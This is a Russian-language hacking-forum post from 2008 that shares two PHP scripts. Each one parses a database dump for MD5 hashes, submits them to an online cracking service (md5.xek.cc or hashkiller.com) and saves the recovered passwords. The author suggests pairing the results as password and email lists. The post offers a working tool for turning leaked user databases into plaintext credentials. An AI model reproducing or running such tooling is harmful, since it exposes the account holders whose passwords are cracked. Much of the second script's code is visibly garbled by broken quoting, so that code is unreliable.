Показать сообщение отдельно

  #400  
Старый 13.07.2008, 18:06
SUBJECT617
Познающий
Регистрация: 06.08.2007
Сообщений: 85
С нами: 9875274

Репутация: 91
По умолчанию

Скрипт хавает БД, вытягивает оттуда хэши, проверяет их на сервисе онлайн проверок и складывает по файликам(Найденное, ненайденное)

Если у кого очень слабая машина или по каким другим причинам пасс про и подобные проги юзать нет возможности, да еще и подождать могут, надеюсь те оценят скрипт... Медленный он из-за задержек после каждого 10го хэша, я бороться с этим уже устал поэтому выложу тут, вдруг кому пригодится или под себя поправит.

Версия для md5.xek.cc (предпочтительна)
PHP код:
<?php 
if ($argc<4

echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
echo 
"Usage: $argv[0] <database> <found> <not_found>\n\n\n"
echo 
'Where database.txt - path to database with'." ':' ".'separator,'."\n".'found.txt - path to file, where you will see found hashes,'."\n"
echo 
'not_found.txt - path to file with hashes not found in md5.xek.cc database.'."\n"
echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
die; 

$id 0
$filename "$argv[1]"
$filename2 "$argv[2]"
$filename3 "$argv[3]"
$of2 fopen($filename2,"w+"); 
$of3 fopen($filename3,"w+"); 
$all count(file($filename)); 
echo 
"                               Database contains $all entries\n\n"
function 
post($data
{  
     
$buf ''
     
$fp = @fsockopen('md5.xek.cc',80);   
    if (
$fp) {  
          
fputs($fp'POST /index.php HTTP/1.1'."\n");   
          
fputs($fp'Host: md5.xek.cc'."\n");   
          
fputs($fp'Content-type: application/x-www-form-urlencoded'."\n");   
          
fputs($fp'Content-length: ' strlen($data) . "\n"); 
          
fputs($fp'User-Agent: PHP Script'."\n");   
          
fputs($fp'Connection: close'."\n\n");   
          
fputs($fp$data);                 
          while(!
feof($fp)) 
          
$buf .= fread($fp,2048); 
          
preg_replace('/\W[b]\W[\n][0-9]{6}\W\W[b]\W/','',$buf); 
          
fclose($fp);  
          return 
$buf
     } 
     else{  
          return 
'Server is not responding!';  
     } 
       

$content join('',file($filename)); 
$fcontent preg_replace("/\n/",":",$content); 
preg_match_all('/[0-9a-z]{32}/',$fcontent$whatfound); 
while (@
$whatfound[0][$id] != ''

$hash $whatfound[0][$id]; 
$page post("hash=$hash&act=find"); 
if (
preg_match('/\W[b]\W(.{3,30})\W\W[b]\W/',$page,$matches)) 

$pass $matches[1]; 
fputs($of2,"$id : $pass\n");
$status '+'

else 

fputs($of3,"$id : $hash\n");
$status ''

$id += 1;
$checked count(file($filename2)) + count(file($filename3));
echo 
"                                           $checked$status\n";

@
fclose($of1); 
@
fclose($of2); 
@
fclose($of3); 
echo 
'                                          Done!'."\n"
$found count(file($filename2)); 
echo 
'                               ++++++++++++++++++++++++++'."\n"
echo 
"                                $found of $all hashes found!"."\n"
echo 
'                               ++++++++++++++++++++++++++'."\n\n"
?>
Версия для hashkiller.com
PHP код:
<?php 
if ($argc<4

echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
echo 
"Usage: $argv[0] <database> <found> <not_found>\n\n\n"
echo 
'Where database.txt - path to database'."\n".'found.txt - path to file, where you will see found hashes,'."\n"
echo 
'not_found.txt - path to file with hashes not found in hashkiller.com database.'."\n"
echo 
'========================================================================='."\n"
echo 
'========================================================================='."\n"
die; 

$id 0
$filename "$argv[1]"
$filename2 "$argv[2]"
$filename3 "$argv[3]"
$of2 fopen($filename2,"w+"); 
$of3 fopen($filename3,"w+"); 
$all count(file($filename)); 
echo 
"                               Database contains $all entries\n\n"
function 
post($data
{  
     
$buf ''
     
$fp = @fsockopen('hashkiller.com',80);   
    if (
$fp) {  
          
fputs($fp'POST /crack/ HTTP/1.1'."\n");   
          
fputs($fp'Host: hashkiller.com."\n");   
          fputs($fp, '
Content-typeapplication/x-www-form-urlencoded'."\n");   
          fputs($fp, '
Content-length' . strlen($data) . "\n"); 
          fputs($fp, '
User-AgentPHP Script'."\n");   
          fputs($fp, '
Connectionclose'."\n\n");   
          fputs($fp, $data);                 
          while(!feof($fp)) 
          $buf .= fread($fp,2048);           
          fclose($fp);  
          return $buf; 
     } 
     else{  
          return '
Server is not responding!';  
     } 
       

$content = join('',file($filename));  
$fcontent = preg_replace("/\n/",":",$content); 
preg_match_all('
/[0-9a-z]{32}/',$fcontent, $whatfound); #Ищем все хэши в базе
while (@$whatfound[0][$id] != '') 

$hash = $whatfound[0][$id];  
$page = post("md5_crack=;$hash&submit=Crack"); #Отправляем наш хэш
if (preg_match('
/\w\w\w\w\W\W\W[a-z]{10}\W[a-z]{3}\W[a-z]{8}\W(.*)/',$page,$matches)) 

$pass = $matches[1]; 
fputs($of2,"$id : $pass\n"); 
$status = '
+';

else 

fputs($of3,"$id : $hash\n");  
$status = '';

$id += 1;
$checked = count(file($filename2)) + count(file($filename3));
echo "                                            $checked$status\n";

@fclose($of1); 
@fclose($of2); 
@fclose($of3); 
echo '                                          
Done!'."\n"; 
$found = count(file($filename2)); 
echo '                               
++++++++++++++++++++++++++'."\n"; 
echo "                                $found of $all hashes found!"."\n"; 
echo '                               
++++++++++++++++++++++++++'."\n\n"; 
?>
Можно и на многие многи другие сервисы переписать но вот нужно ли?

ЗЫ Чтобы все было в виде pass;mail юзайте ворд и эксель... Просто заменяйте разделителль на табуляцию, пихаете в эксель, сортируете по номеру ну а дальше разберетесь=)

EDIT: Упс, проморгал что сокет на версии для хэшкиллера конектился к мд5.хек.сс=))


С регекспом во второй версии какойто ужас.... Чет мне кажется пхп тег буянит

Последний раз редактировалось SUBJECT617; 13.07.2008 в 19:46..
 
Ответить с цитированием